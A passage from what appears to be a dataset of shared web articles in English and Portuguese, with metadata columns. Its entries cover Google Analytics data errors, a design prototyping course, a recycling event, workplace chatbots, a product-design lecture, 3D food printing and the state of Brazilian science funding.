version of Analytics JavaScript. Find out more about the Addon here. If you have a medium or large organization then this will not be a runner. Imagine having to install the Add-on on all those machines! Forget it, it's not practical. With this Add-on you are relying on your browser to continually play ball and that may not be the case where browser updates take place, so best to use Chrome with this Add-on if you are going to use it at all. Solution B - Set up a Custom Filter to exclude IP address or range of IP addresses. A practical and reliable solution me thinks. Here's how to do it for a single IP address: Go to: Google Analytics >> Admin >> Account >> Property >> View >>Filters >> New Filter. Then do this: Here's how to do it for a range of IP addresses: Go to: Google Analytics >> Admin >> Account >> Property >> View >>Filters >> New Filter. Add your filter: Select ""Create New Filter"" Radio Button >> Name your filter >> Select ""Custom"" >> Select ""Exclude"" radio button >> Select ""IP Address"" or ""IP Address Range"" as Filter field >> Enter Field Pattern according to ""Regular Expressions"" rules >> Hit ""Save"" Note: See this article on ""Regular Expressions"" . See this resource for more on excluding internal traffic from reports. Error #25 - Self Referrals Showing In Reports A Self Referral is where your own website domain shows up in reports. More specifically in Reporting >> Acquisition >> All Traffic >> Referrals Report. There are many possible causes for Self Referrals and in some cases where you have multiple domains and sub-domains a small degree of self referrals may be expected. Example: If you have set up your Analytics account structure with a single Property for multiple domains and subdomains then you're gonna have self referrals. To get around this you need to set up filters to ignore these. Solution - Check the Referrals Exclusions and if none are set up then set them up. Go to: Google Analytics >> Admin >> Account >> Property >> Tracking Info >> Referral Exclusion List. Add domains you wish to exclude from your traffic reports. Here's a comprehensive article from Google on dealing with Self Referral issues. Error #26 - Redundant Views Alerts Analytics Diagnostic Notifications are returning a ""Redundant Views"" message. This generally means that you have Views set up in your Property that are similar or the same. This can happen if you've copied a view that you wanted to modify and didn't, or possibly one of your team has set up a similar View. Views that are the same should be deleted so as to keep your data clean and as readable as possible. This is just simply good practice and avoids conflicts in reports. Notifications appear in the top right hand corner of your Analytics Dashboard. The icon looks like this. Solution - Delete the duplicate View. Go to: Google Analytics >> Admin >> Account >> Property >> View (that you want to delete) >> View Settings >> Delete View Error #27 - Traffic Reports Inflated By Spam & Other Bots Robots can inflate and distort your real traffic numbers, so it's important to know how to filter this traffic out. Google made some changes last year which allow filtering known bots out of your traffic reports. Here's their post on G+ announcing it last July. It's funny how product owners always dress things up to sound super cool isn't it? The reality is it won't stop spam bots or unknown search engine bots from inflating your traffic. There are ways however of refining your data to see where spikes come from. Dave Buesing does a nice job of going through the process of filtering spam from your traffic. Check out his article here . To activate the bot filtering in your Analytics Dashboard do this: Go to: Google Analytics >> Admin >> Account >> Property >> View >> View Settings >> Bot Filtering (tick the box). Error #28 - Site Search Not Showing In Reports Site Search Reports are a great way to see what people are actively searching your site for. It applies to your site if you have a ""Search Bar"" for visitors to explore your content. If you have not selected to activate this function then you won't get any results in your report. Go to: Google Analytics >> Admin >> Account >> Property >> View >> View Settings >> Site Search Tracking (turn it on, set the query parameter, tick the ""strip query parameters"" box) Finding the ""search query parameter"" for your site is simple enough to do, but might be a bit of a challenge for non-techies. There are a couple of resources already available to help you complete this setting so I'm not going to repeat it here. Here's an article from Google that will assist you. Here's an article from Search Engine Watch and another from LunaMetrics that are better still. Error #29 - Website Pages Missing From Analytics Reports The main and basic reason that your web pages are missing form Analytics Reports is that they are missing the code snippet. However there can be a number of reasons why you are missing the snippet from pages. Here's one reason related to using WordPress (and may be applicable for similar). Example: Your site is built on WordPress and your theme has a facility for you to add the Google Analytics Code. You've a third party plugin that delivers your landing pages and those landing pages are not showing up in your analytics reports. The trouble with third party applications is that you can not guarantee that they will see the code snippet that you've added to your theme. Plugins such as Analytics by Yoast are much more reliable at rolling out your script across the entire site, but still there's no cast iron guarantee. Another likely cause is that your landing pages are on another domain and you've not added Analytics parameters to those domains. See Error #3 ""Cross Domain Errors"". Solution A- Check the Diagnostics already built into your Analytics Dashboard. This scans your site regularly and delivers issue notifications via the ""notification bell"" icon in the top right hand corner of your dashboard. (Users with edit permissions will only have access to this notification). Solution B - Verify your setup with these tools. Check your Real Time Reports which will help you see real time data. If you can not see any data here it may mean you've just got not traffic! but it may also mean your code is not installed properly. Check the Tracking Status in your ""Property"". You'll be able to see if it's working correctly or install the Google Analytics Debugger for Chrome in your browser. This debugging tool is probably not the perfect solution for more advanced installations of Google Analytics. Note: If you are using the Tag Manager method of deploying Analytics then you'll have access to comprehensive notifications on it Dashboard. Conclusion There's no doubting it, Google Analytics is a valuable tool allowing business people better understand their customers' and site visitors' interactions. But, identifying and rectifying errors when they occur, is not a simple black and white process. Every Google Analytics deployment is unique and it can be time consuming and difficult to resolve issues especially where a business process is complex. One thing is certain, whether you are a business owner directly employing Google Analytics or a developer working on client sites, you're gonna have some serious learning to do. And although the above may well assist you in solving some common Google Analytics Data Errors, it is certainly not a silver bullet. Doing Your Research You've simply got to ""know"" Google Analytics inside-out in order to make it work as seamlessly as possible and return the data results you need to make informed business decisions. Be careful also when searching online for answers, a lot of the articles online on the first couple of pages in Google are out dated by a couple of years so do a date filtered search. I'm not suggesting you won't find an answer for your problem, but Google Analytics is updated regularly and what you are reading may not be relevant any longer. Q. Have you guys seen these errors arise on your installations and what steps have you taken to resolve? Q. What other data errors have you seen come up and how did you go about solving them? I'd love to hear your experiences, let us know in the comments below. About the Author: Larry G. Maguire is a Businessman, Blogger, Digital Marketing & Analytics Consultant, and general all round Technology Nerd. He has been in business since 2001 and specialises in assisting businesses clarify and roll out an effective Digital Marketing Plan. Find out how Larry can help you make Digital Marketing easy. Follow Larry on Twitter and read more at Larry's Blog .",en
1462470341,CONTENT SHARED,-5570129644089964821,-48161796606086482,3791045604731925300,,,,HTML,https://novoed.com/prototyping-2016-1,Design Kit: Prototyping,"The Course Course Description: Human-centered design is a process that starts with the people you're designing for and ends with new solutions that are tailor-made to suit their needs. Prototyping is a crucial part of this process. Building prototypes gives you a chance to get your ideas out of your head and into the hands of the people you're designing for. By getting feedback early and often, and continuing to improve your idea, you'll be well on your way to getting useful ideas and solutions out into the world. This four-week course builds on Design Kit: The Course for Human-Centered Design , a class that has been taken by thousands of teams around the world. The curriculum will strengthen your existing knowledge of the human-centered design process and help you to become a more innovative problem solver by building up your prototyping skills. You'll walk away knowing how to prototype products, services, and environments, and get constructive feedback along the way. What You'll Learn: After completing this course, you will be able to: Practice the mindsets and methods of human-centered design so that you can become a more effective, innovative problem solver, specifically through prototyping Produce tangible results quickly and bring your ideas to life through early, rough prototypes Experiment with the power of prototyping in multiple forms-from products to services to environments Gain valuable feedback from the people you're designing for, and how that feedback can inform and be integrated into new iterations Demonstrate how the cycle of prototyping, feedback, and iteration leads to concept refinement How the Course Works: You will work through the course with a group of 2-6 people that we will refer to as your ""design team."" It's strongly recommended you form a team before the start of the course with people located nearby, with whom you can meet in-person, but you will also have the opportunity to find a team using the course platform once the course begins. You will learn the prototyping process by applying it to a real-world design challenge that we will provide for you. Each week you will explore the main concepts of prototyping through readings, case studies, and short videos. Then you'll be expected to meet in-person with your design team to get your hands dirty building prototypes and practicing other relevant human-centered design methods. Throughout the course, you'll have the opportunity to interact and gain inspiration from design teams around the world also taking the course. Due to the size of this course, instructors will be available to answer questions, but cannot provide feedback on individual assignments. The course occurs entirely online and there are no set meeting times that you are required to log in, but you will set meeting times to meet with your own team. You can log in and access the course materials at any time between the course opening and closing dates. Building Your Design Team: Many of the workshop activities will work best if your group has 2-6 members (ideally at least 4). Recruit your friends, colleagues, or family members Find a group through the course platform once it starts More Information Approximately 4 hours per week:",en
1462470676,CONTENT SHARED,459008865413659388,-8860671864164757449,-1045824584733778774,,,,HTML,http://www.segs.com.br/educacao/14911-unimart-shopping-campinas-e-tetra-pak-realizam-circuito-da-reciclagem.html,Unimart Shopping Campinas e Tetra Pak realizam Circuito da Reciclagem,"Ação gratuita acontece de 5 a 11 de maio das 13h às 17h Para ensinar e estimular adultos e crianças da importância da reciclagem de materiais, o Unimart Shopping Campinas realiza o Circuito da Reciclagem, em parceria com a Tetra Pak, de 5 a 11 de maio. A atração gratuita é um trajeto monitorado em que o participante receberá todas as informações relevantes sobre o processo de reciclagem de uma embalagem Tetra Pak. Dividido em quatro etapas, a primeira fase do percurso é chamada de Concentração, e consiste em entregar uma embalagem da Tetra Pak para o visitante, que receberá informações sobre a fabricação da caixinha. A segunda fase, conhecida como Renovabilidade, é um aprendizado sobre as matérias-primas renováveis que a compõem com um jogo da memória que fará uma brincadeira com as dicas já aprendidas até o momento. Na terceira etapa, acontece um jogo interativo que irá ensinar como separar os resíduos nas categorias reciclável e não reciclável. Na quarta e última etapa, o participante deverá pedalar uma bicicleta que acionará o nanopulper (espécie de liquidificador modificado) para fazer a reciclagem das caixinhas acontecer na prática. Ao final, será possível tirar fotos em um pódio. Parceria A parceria entre a General Shopping Brasil e a Tetra Pak teve início em 2013 e visa dar instruções sobre a reciclagem, dicas de destinação correta de resíduos e recicláveis, e etc. No ano passado, mais de 42 mil pessoas foram envolvidas com ações ligadas ao tema de responsabilidade socioambiental. As ações envolvem os temas de saúde e bem-estar, educação ambiental, ente outros. Outros eventos relevantes são: feira de adoção de animais, teatro infantil gratuito para crianças, ações com dicas de meio ambiente, e etc. Circuito da Reciclagem - Unimart Shopping Campinas Quando: de 5 a 11 de maio, das 13h às 17h. Aos finais de semana, os monitores ficam disponíveis das 13h às 21h Classificação etária: Livre Valor: Gratuito Local: Unimart Shopping Campinas Av. John Boyd Dunlop, 350 - Campinas Contato: (19) 3744-5000 www.unimart.com.br Sobre a Tetra Pak A Tetra Pak é líder mundial em soluções para processamento e envase de alimentos. Atuando próximo aos clientes e fornecedores, oferece produtos seguros, inovadores e ambientalmente corretos, que a cada dia satisfazem as necessidades de centenas de milhões de pessoas em mais de 170 países ao redor do mundo. Com cerca de 23 mil funcionários em mais de 85 países, a Tetra Pak acredita na liderança da indústria responsável e em uma abordagem sustentável dos negócios. O slogan ""PROTEGE O QUE É BOM™"" reflete a visão de disponibilizar alimentos de forma segura onde quer que seja.",pt
1462470980,CONTENT SHARED,1433951803438448289,-1443636648652872475,4236721063116312900,,,,HTML,http://www.oreilly.com/pub/e/3709,"Creative partnerships: Machine learning and the future of design - O'Reilly Media Free, Live Events","Creative partnerships: Machine learning and the future of design Duration: Approximately 60 minutes. Cost: Free Questions? Please send email to Machine learning is in the midst a renaissance. Technical advancements in machine learning are enabling a broad assortment of new possibilities for designers to better engage with and understand users. Yet, these technologies also bring new challenges and require new ways of thinking about the design of user interfaces and interactions. Using intuitive analogies and tangible examples, Patrick Hebron offers an introduction to contemporary machine-learning systems and explores how these emerging capabilities will transform the next generation of computing interfaces, such as search engines, intelligent assistants, connected homes, and open-world video games. This webcast is intended for user interface and user experience designers as well as anyone interested in how recent advancements in machine learning can radically enhance software capabilities through natural language processing, image recognition, content personalization, and behavior prediction. About Patrick Hebron Patrick Hebron is a scientist in residence and adjunct graduate professor for NYU's Interactive Telecommunications Program. Patrick's research relates to the development of machine-learning-enhanced digital design tools. He is the creator of Foil, a next-generation design and programming environment that aims to extend the creative reach of its users through the assistive capacities of machine learning. Patrick has also worked as a software developer and design consultant for numerous corporate and cultural institution clients including Google, Oracle, the BMW Guggenheim Lab, and the Edward M. Kennedy Institute.",en
1462471007,CONTENT SHARED,541470630329465127,-1443636648652872475,4236721063116312900,,,,HTML,http://www.bloomberg.com/news/articles/2016-05-05/chatbots-are-your-newest-dumbest-co-workers,"Chatbots Are Your Newest, Dumbest Co-Workers","Starting this July, when customer service employees at Overstock.com are too sick to come to work, they'll tell Mila they're not feeling well using an app on their phones or computers. ""I'm sorry to hear that,"" Mila will respond. After a short exchange about logistics, Mila will send a message to the appropriate manager, who will adjust the employee's schedule. It sounds like a typical interaction with an office assistant. But Mila isn't an assistant. She's a chatbot. Chatbots, the much - hyped future of the Internet , have had a rough start in the consumer world, but many of us might have our first taste of robot communication at the office. Millions of workers already interface with chatbots in the popular group chat platforms Slack and HipChat. HipChat offers bots with different ""personalities,"" like Sassy and Karma, that can accomplish different tasks, such as finding photos and counting things. Slack's bot-conveniently known as Slackbot-can be programmed to do work-related tasks, such as setting reminders and answering basic questions. Anticipating a bot boom, Slack last winter released Botkit to help developers build their own. The result has been bots such as Workbot , which lets people talk to other programs that integrate with Slack, like Salesforce and Mailchimp. The hope is bots will make internal employee communications faster, easier, and more fun and in turn save money. At Overstock, for example, Mila will replace a more cumbersome call-in hotline for ill employees. Currently, when any of the 450 employees in Overstock's Salt Lake City call center feel under the weather, they pick up a phone and leave a message. Someone has to check those messages and tell a manager, who replaces the worker on the schedule. Chat's way is easier: Now the company can fill schedules and replace workers faster, which ultimately saves money. ""Those seconds for each employee turn into dollars,"" said Stormy Simon, president of Overstock. In addition to chatting in sick, employees can use Mila to schedule time off, check their schedules, and do a variety of other tasks that used to require making a phone call, sending an e-mail, or (gasp) talking to a fellow human. The use case for work chatbots, so far, is pretty low-level. Most bots simply provide people with already available information. Aspect, the company behind Mila, has signed up a variety of other businesses, including the Edwardian Blu hotel chain and a cable provider. Aspect's Joe Gagnon, who worked on Mila, sees potential uses in restaurants and the insurance and mortgage industries. ""Any questions internally can be handled,"" he said. ""What's the coffee of the month? What's the shipping time for something in my resale location?"" he offered as examples. Microsoft, which in March shakily introduced its bot Tay , has a chatbot for employees called ADbot that mines the corporate directory for information. The company is also working on building a bot on top of its intranet so employees can ask a digital assistant simple questions, such as what's for lunch at the cafe. This is all information that isn't hard to find sans robot friends, a point Aspect's Gagnon conceded. But, he argued, chatbots will make it easier for uninformed workers to seek out information they need even if it's something simple, such as the location of a meeting. ""We would rather get lost than ask for directions,"" he said. ""The bot gives you a chance to be a little less knowledgable than you want to be."" Chatbots, in general, haven't lived up to their potential. They're annoying , not very smart , and potential racists -personality traits that seem like a liability in the workplace. Overstock's Simon isn't worried. ""It's definitely a technology that will have the opportunity to evolve and get better."" Mila, and other bots, are indeed programmed to get smarter, but that's how they learn inappropriate behaviors. Today's work bots are far from sentient co-workers. In fact, they fall on the other end of the spectrum: kinda lame. ""A lot of the buzz comes around this magical nonhuman thing that answers questions, something that is more like a movie than reality today,"" said Michael Facemire, an analyst at Forrester. ""The reality today is it's simply a better way to do simple things."" Simplicity might be enough for the workplace for now. In fact, the most useful work bots won't be all that smart. ""A majority of bots might not even be intelligent, they're just convenient,"" said Beerud Sheth, the chief executive of GupShup, which makes a variety of chatbots, including a sales tracker and an accounting bot. ""You'll neither love them nor hate them. You'll like the fact that they're easy,"" Sheth added. Mila is just that: convenient. It will make a generally banal and somewhat onerous task slightly more pleasant, which has potential returns. ""It's happier, it's easier, and seamless,"" said Overstock's Simon. ""What's the price on that? I'm not sure. But I know it matters."" With assistance from Dina Bass in Seattle.",en
1462471041,CONTENT REMOVED,1433951803438448289,-1443636648652872475,4236721063116312900,,,,HTML,http://www.oreilly.com/pub/e/3709,"Creative partnerships: Machine learning and the future of design - O'Reilly Media Free, Live Events","Creative partnerships: Machine learning and the future of design Duration: Approximately 60 minutes. Cost: Free Questions? Please send email to Machine learning is in the midst a renaissance. Technical advancements in machine learning are enabling a broad assortment of new possibilities for designers to better engage with and understand users. Yet, these technologies also bring new challenges and require new ways of thinking about the design of user interfaces and interactions. Using intuitive analogies and tangible examples, Patrick Hebron offers an introduction to contemporary machine-learning systems and explores how these emerging capabilities will transform the next generation of computing interfaces, such as search engines, intelligent assistants, connected homes, and open-world video games. This webcast is intended for user interface and user experience designers as well as anyone interested in how recent advancements in machine learning can radically enhance software capabilities through natural language processing, image recognition, content personalization, and behavior prediction. About Patrick Hebron Patrick Hebron is a scientist in residence and adjunct graduate professor for NYU's Interactive Telecommunications Program. Patrick's research relates to the development of machine-learning-enhanced digital design tools. He is the creator of Foil, a next-generation design and programming environment that aims to extend the creative reach of its users through the assistive capacities of machine learning. Patrick has also worked as a software developer and design consultant for numerous corporate and cultural institution clients including Google, Oracle, the BMW Guggenheim Lab, and the Edward M. Kennedy Institute.",en
1462473081,CONTENT SHARED,-6157984812065160219,-5708042355439521851,-8766814766353509863,,,,HTML,http://projetodraft.com/empresas-inovadoras-nao-fazem-produtos-constroem-conceitos-que-se-tornam-experiencias-irresistiveis/,"""Empresas inovadoras não fazem produtos - constroem conceitos que se tornam experiências irresistíveis""","A aula de Mario Fioretti, nesta segunda, dia 2 de maio, na Academia Draft , só tinha peso-pesado. Do VP de Pessoas da Gerdau ao dono da Mekal, do gerente de megaprojetos da Sonda IT a diretores de marketing e proprietários de estúdios de design de São Paulo e do Rio. Mario tem esse poder. Foram mais de 30 anos de design e inovação de produtos em grandes empresas - maior parte desse tempo na Whirlpool, que detém marcas como Brastemp e Consul. Foi lá que desenhou dezenas de produtos - geladeiras, micro-ondas, fogões - que venderam mais de 100 milhões de unidades. ""O mais bacana de pertencer a uma empresa premiada e considerada benchmark é o tanto de acesso que você tem aos cases das outras empresas, que lhe procuram para perguntar como você faz as coisas, e contam como elas fazem as coisas delas"". ""Design não é só o produto. É o ambiente também. É precioso contextualizar. Design é um elemento dentro de um ecossistema. Design é continuidade e harmonia, não são coisas estanques"", diz Mario, que, já no início da carreira, preparava a sala (chegava a pintar o chão) antes de fazer uma apresentação ao chefe. Foi com esse raciocínio que Mario começou a investir nos displays que criavam uma ambientação para os produtos no ponto de venda. Isso evoluiu para o conceito de store-in-store - um espaço para a marca do fabricante dentro das lojas. Esse entorno, que era visto como custo, passou a ser reconhecido como um diferencial competitivo, como um investimento que aumentava as vendas. Foi graças a esse trabalho, que transformou o sobressalente num item fundamental da estratégia de vendas da marca, que Mario recebeu o convite para deixar de ser um designer de produto e virar o diretor de Design Estratégico da Whirlpool. Daí para pensar a experiência do cliente foi um pulo. Mario cita os elementos básicos do bom design: beleza, facilidade de uso, funcionalidade de uso, ""amigabilidade"". E fala sobre o poder do design de tornar objetos descartáveis em peças irresistíveis. ""Mas por trás do objeto, há muito mais. É preciso construir uma boa rede de serviços, um bom modelo de negócios"", diz Mario, que mostra como a Apple criou ambientes para seus produtos e um universo atrás da sua marca. ""A Apple não é uma construtora de produtos - ela é uma construtora de conceitos que se transformam em experiências. E isso tem relação direta com adição de valor"", diz Mario. ""Ninguém fatura tanto por metro quadrado quanto a Apple - foram 51 mil dólares por metro quadrado de loja em 2015. A Tiffany's, que vende joias, vem em segundo lugar, tendo vendido 31 mil dólares por metro quadrado"". Mario falou sobre a importância do craftmanship , a impecabilidade da manufatura, o cuidado com o acabamento. E sobre a importância ainda maior de ir além, de elaborar o design de serviços da empresa, de pensar todos os detalhes da jornada do consumidor. Para Mario, a tecnologia vira commodity rapidamente. E o design é o grande diferencial competitivo. ""O design cria algo 'incopiável': uma blindagem emocional. Uma relação afetiva entre a marca e o consumidor. E esse é o grande asset a ser conquistado. Trata-se de uma 'poupança corporativa'. Isso passa pelo desenvolvimento de uma arquitetura de negócios adequada, de um ecossistema de soluções eficiente - tudo isso é design. ""Enquanto uma montadora centra fogo no desenho de um novo carro, o Zip Car está focado no desenho de serviço que emana do automóvel e a Tesla está redesenhando, sobretudo, o negócio do carro"", diz Mario. ""Ao final, é a experiência do carro que está sendo modificada. Pense no design como uma ferramenta que adiciona valor à empresa por meio da criação de novos ecossistemas de negócios"". Mario discorre também sobre a reinvenção que o Nespresso trouxe ao mercado de café - alguém aí imaginaria pagar 400 reais por um quilo de café? ""Design é criação de desejo. Design é criar magnetismo e fidelizar por meio da geração de sensações que não podem ser facilmente copiadas por alguém que queira fazer mais barato. O design tem a força de transformar produtos em aspirações"". E Mario é categórico ao afirmar que a inovação tem que estar sempre conectada com os objetivos da empresa. Ou ela gera novos negócios, ou ela melhora os negócios existentes, ou ela ficará no vácuo. ""E aí o inovador corporativo perderá o patrocínio do seu chefe"", diz Mario. A companhia é que tem que estabelecer os objetivos a serem alcançados com a inovação. Assim como os consumidores é que vão dizer os problemas que os inovadores têm de resolver - mesmo que eles na maioria das vezes não estejam preparados para articular isso em palavras. ""Na Consul, para produzirmos as cervejeiras, a gente precisou ir a fundo e entender o que os brasileiros queriam dizer quando falavam em 'cerveja estupidamente gelada'. A gente teve que pesquisar isso. E a resposta é que isso significa cerveja servida a quatro graus abaixo de zero, imediatamente antes de começar a congelar"", diz Mario. E o que é um produto inovador? ""Ele tem de ser inédito, o consumidor tem de querer pagar 20% a mais do que os produtos de linha e o produto tem que ser reconhecido pelos consumidores como inovador, gerando o efeito 'uau!'"". E como garantir que a empresa inove? ""Colocando isso nas metas da companhia e dos executivos. Na Whirlpool, até 27% dos resultados anuais tinham que vir de produtos inovadores. Era um compromisso geral"", diz Mario. ""Design e inovação não podem ser uma questão de boa vontade e sim uma estratégia de negócios que vira uma prática de negócios. Inovação tem que ter metas claras. Inovação tem que ser prática e objetiva"". Mario vai adiante: ""Em inovação, a velocidade de implantação é importante. Hoje, o tempo é talvez o recurso mais caro investido em um projeto. Então é preciso gerar resultados rápido, já na primeira fase dos trabalhos"", diz Mario. ""São esses low hanging fruits (algo como ""frutas em galhos baixos, mais fáceis de serem apanhadas"") que vão convencer a organização a continuar investindo em inovação"". Como criar uma cultura de inovação? ""Isso só acontece com o apoio da alta direção. Inovação não é um departamento. Ela não funciona apartada da organização, como uma cápsula. Inovação tem que ser uma competência e uma visão arraigados ao dia-a-dia de todos"", diz Mario. Como toda boa aula, a masterclass de Mario Fioretti foi até depois das 22h30. E se dependesse da maioria dos presentes, só sairíamos dali na madrugada do dia seguinte. E como em toda boa aula, há um ponto em que você diz: ""pronto, é isso, valeu ter vindo"". É quando você ouve alguma coisa ou pensa alguma coisa e aquilo realmente paga o seu investimento de tempo e dinheiro. Pode ser uma síntese, um achado, uma análise, um conceito. Na aula de Mario, a meu ver, foi a seu infográfico feito ao vivo, de improviso, e que poderia ser batizado de ""para entender de uma vez por todas o que é design thinking, como ele funciona e por que ele tem esse nome"". Em cinco minutos, talvez um pouquinho mais, alternando giz e pincel atômico, Mario deu um show. Todo mundo entendeu tudo. Ele mostrou o modelo clássico do design thinking. E mostrou a sua adaptação, o jeito como ele hackeou (melhorou) aqueles modelos de diamantes. Foi foda. Tinha nego anotando, tirando foto, desenhando junto. Foi foda. Mas, pensando bem, alguém esperava alguma coisa diferente de uma aula do Mario Fioretti? Se você perdeu a aula de Mario Fioretti em suas versões Presencial e Virtual, saiba que poderá assisti-la como Aula Gravada dentro de alguns dias, no site da Academia Draft. A Academia Draft tem parceiros incríveis, cujos produtos e serviços recomendamos fortemente: Farofa.la | Os melhores snacks do mundo Vocs.tv | A melhor transmissão vídeo streaming do Brasil ProjectHub | A maior plataforma de Economia Criativa do país House of Learning | A revolução da sharing economy e do trabalho colaborativo - na prática",pt
1462476958,CONTENT SHARED,2032007496318616962,-5264754785175108362,1198705653734525347,,,,HTML,http://www.gazetadopovo.com.br/agronegocio/agricultura/cientistas-trabalham-em-tecnica-que-permite-imprimir-alimentos-674trp5krh2w4xy1t9fra4cpk,Cientistas trabalham em técnica que permite imprimir alimentos,"Os cientistas do VTT Technical Research Centre of Finland Ltd estão perto de desenvolver uma tecnologia de processamento de alimentos que permite a fabricação de lanches em uma impressora de três dimensões (3D). As técnicas testadas até agora combinam experiência em comida, ciência dos materiais e tecnologia de impressão 3D. Os pesquisadores acreditam ser possível, no futuro, desenvolver máquinas de venda de alta tecnologia que forneçam compras de lanches customizados. As informações foram divulgadas no site oficial da instituição . Segundo os pesquisadores do projeto, atualmente os consumidores esperam por alimentos saudáveis e nutritivos, mas também com a adição de elementos como o design, prazer e até mesmo a ludicidade, mas pode-se ir muito mais além. A tecnologia de impressão 3D oferece novas oportunidades para atingir essas expectativas. Nos estudos iniciais, cientistas testaram amido e materiais à base de celulose para os protótipos de comida 3D. Eles também estão trabalhando a impressão de concentrados de proteínas de origem vegetal (aveia e feijão faba) e de origem láctea (whey protein). ""No entanto, é necessário muito trabalho para produzir em escala industrial. É necessário desenvolver equipamentos, além dos materiais. Esse tipo de equipamento poderia ser desenvolvido para a impressão de alimentos 3D em casa, assim como as máquinas automáticas"", explica a cientista chefe do VTT, Nesli Sözer. Segundo a pesquisadora, a textura é um importante quesito da percepção do paladar de muitos produtos alimentares e está por trás de muitas inovações de sucesso. As marcas estão criando combinações interessantes e bem criativas com características como crocância, recheios macios e coberturas extra-crocantes. A tecnologia de impressão 3D vai permitir a fabricação camada por camada de diversas estruturas, desde crocantes até gel macio que produze uma experiência diferente ao paladar. A impressão de alimentos 3D é uma tecnologia emergente e em desenvolvimento. Ainda não há previsão de quando as primeiras linhas de produto serão lançadas.",pt
1462477364,CONTENT SHARED,6234756865145917449,8676130229735483748,8765865937415209841,,,,HTML,http://gizmodo.uol.com.br/suzana-herculano-houzel-deixa-o-brasil/,Suzana Herculano-Houzel deixa o Brasil e expõe problemas profundos da ciência no país,"A neurocientista Suzana Herculano-Houzel é conhecida por descobrir quantos neurônios o cérebro humano realmente tem, e por um artigo 100% brasileiro na revista Science sobre a quantidade de dobras cerebrais nos mamíferos . Ela é uma das cientistas mais proeminentes do país; e em breve, ela deixará o Brasil. >>> Suzana Herculano-Houzel e os desafios de ser cientista no Brasil Em um artigo na revista Piauí , Suzana explica os motivos de sua partida para os EUA: basicamente, ela cansou do descaso com que o governo trata a ciência - e tem duras críticas sobre o sistema de pesquisadores no país. Um dos principais problemas no Brasil, claro, é a falta de dinheiro, especialmente durante a crise atual. A cientista explica que vários de seus projetos tiveram financiamento aprovado pela CNPq (Conselho Nacional de Desenvolvimento Científico e Tecnológico) e Faperj (Fundação de Amparo à Pesquisa do Estado Rio de Janeiro), só que o dinheiro jamais foi liberado de fato. ""Se já era difícil fazer ciência de excelência com recursos escassos, com recursos inexistentes tornou-se impossível"", escreve Suzana. Por isso, ela resolveu tirar dinheiro do próprio bolso, cerca de 25 mil reais. Quando isso não foi o bastante, ela recorreu ao crowdfunding e arrecadou R$ 113.201 para ""garantir ao menos que meus alunos terminassem suas teses"". Para entender a penúria do financiamento científico, vale notar que esse valor é o dobro do que o CNPq se comprometeu a pagar ao laboratório de Suzana por três anos . O dinheiro acabou em cinco meses. Essa situação não está restrita a apenas um laboratório. O Ministério da Ciência, Tecnologia e Inovação (MCTI) teve seu orçamento reduzido em quase 25% para R$ 3,3 bilhões - o menor dos últimos 12 anos, em valores corrigidos pela inflação. Por isso, o CNPq suspendeu a concessão de bolsas no exterior por tempo indeterminado; e a Capes (Coordenação de Aperfeiçoamento de Pessoal de Nível Superior) suspendeu o cadastramento de novos bolsistas e congelou 7.408 bolsas. A Faperj, por sua vez, sofreu corte de 50% nos recursos . Em um artigo apenas para assinantes da Piauí , Suzana diz: No Brasil, o financiamento é apenas o suficiente para dar ao governo números para encher a boca: já são mais de 10 mil novos doutores ao ano, dizem (sem completar a frase como deveriam - ""com chances mínimas de conseguirem emprego como pesquisadores de fato""). Infelizmente, muitos apenas brincam de cientista fazendo ""trabalhinhos"" (palavra desses colegas, não minha) que replicam o que foi feito lá fora - o que permite aos alunos a experiência da iniciação científica, mas não a geração de conhecimento. Salvo raras exceções, financiadas pela riqueza do estado de São Paulo ou por instituições privadas como o hospital paulista Albert Einstein ou o Instituto D'Or, no Rio, a ciência no Brasil é apenas suficiente para criarmos jovens minimamente preparados para manter vivo o espírito científico e transferir conhecimento para as próximas gerações, na esperança de que um dia elas possam ter recursos para desabrochar e finalmente competir de igual para igual com os estrangeiros - porque competência, vontade e capacidade de inovação não nos faltam; só faltam condições. Um problema estrutural Até então, Suzana trabalhava na Universidade Federal do Rio de Janeiro. Nos próximos dias, ela embarca para Nashville, no Tennessee, onde será professora dos departamentos de Psicologia e Ciências Biológicas da Universidade Vanderbilt. Ela explica que, se comparado aos EUA, há um problema mais profundo na ciência brasileira: uma hierarquia que não estimula bons pesquisadores. Como as universidades seguem a lógica do funcionalismo público, diz Suzana, um cientista que produz vários estudos e traz bastante financiamento ou reconhecimento público vai ganhar o mesmo salário de colegas ""que fazem o mínimo necessário para não chamar a atenção"". É a isonomia em vez da meritocracia. Também há outra questão: a estabilidade de emprego. Professores recém-concursados em universidades públicas têm estabilidade garantida após três anos, retirando boa parte do incentivo a pesquisas mais ambiciosas. Nos EUA, pesquisadores são contratados por períodos renováveis de cinco anos, e precisam tomar cuidado ao solicitar estabilidade (ou tenure): ""não há segunda chance; quando um professor pede tenure numa universidade e não recebe, deve buscar emprego em outro lugar"", explica Suzana. Essa cultura também tem seus lados negativos, impulsionando o "" publique ou morra "" - pressão em pesquisadores para publicarem cada vez mais estudos, reduzindo a qualidade deles e o tempo dedicado ao ensino dos alunos. Por outro lado, ela incentiva a criação de centros de excelência, e também a mobilidade entre instituições - no Brasil, o professor não tem incentivo de migrar de universidade pública, pois ganhará o mesmo salário. Pior: ""propostas de criação de centros de excelência são taxadas de 'elitistas' - como se almejar ter pesquisa de primeiro nível fosse deplorável"", diz Suzana. ""Aqui não se enxerga que o caminho para a soberania nacional e uma melhor qualidade de vida em qualquer país é a geração de conhecimento e o consequente desenvolvimento e independência tecnológica e cultural."" Suzana finaliza lamentando que as perspectivas para a ciência no Brasil são sombrias, ""sufocando na mão de um governo que a considera supérflua enquanto ainda houver miséria"". Foto por TED Conference /Flickr",pt
